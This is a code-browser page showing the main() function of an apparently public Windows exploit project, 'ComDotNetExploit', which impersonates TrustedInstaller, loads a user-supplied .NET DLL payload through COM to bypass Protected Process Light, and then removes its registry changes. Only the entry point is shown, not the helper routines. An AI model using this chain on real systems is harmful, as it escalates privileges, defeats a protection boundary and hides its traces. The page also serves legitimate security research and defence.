MCPcopy Create free account
hub / github.com/T3nb3w/ComDotNetExploit / main

Function main

Bypass_COM_PPL/main.cpp:182–219  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

180}
181
182int main(int argc, char* argv[]) {
183 if (argc < 3) {
184 std::cerr << "Usage: " << argv[0] << " <DLL Path> <Static Class Name>\n";
185 std::cerr << "The static class must contain a 'public static void Main()' method.\n";
186 return EXIT_FAILURE;
187 }
188 std::string dllPath = argv[1];
189 _bstr_t staticClassName(argv[2]);
190 bool success = true;
191 try
192 {
193 // Call the function to impersonate Trusted Installer
194 Elevate::RunAsTrustedInstaller();
195 std::cout << "[+] Successfully impersonated Trusted Installer...\n";
196
197 // Initialize COM and the environment
198 COMAutoRelease com;
199 if (!InitializeEnvironment()) return EXIT_FAILURE;
200
201 // Execute the payload
202 success = ExecutePayload(dllPath, staticClassName);
203
204 // Clean up registry settings
205 std::cout << "[+] Cleaning up registry settings...\n";
206 RegistryUtils::CleanupClsid(CLSID_StdFont);
207 RegistryUtils::CleanDcomReflection();
208 RegistryUtils::CleanOnlyUseLatestCLR();
209
210 }
211 catch (const std::exception& e)
212 {
213 // Catch any exceptions thrown during the execution of the function
214 std::cerr << "Error: " << e.what() << '\n';
215 return EXIT_FAILURE; // Return a non-zero value to indicate an error occurred
216 }
217
218 return success ? EXIT_SUCCESS : EXIT_FAILURE;
219}
220

Callers

nothing calls this directly

Calls 2

InitializeEnvironmentFunction · 0.85
ExecutePayloadFunction · 0.85

Tested by

no test coverage detected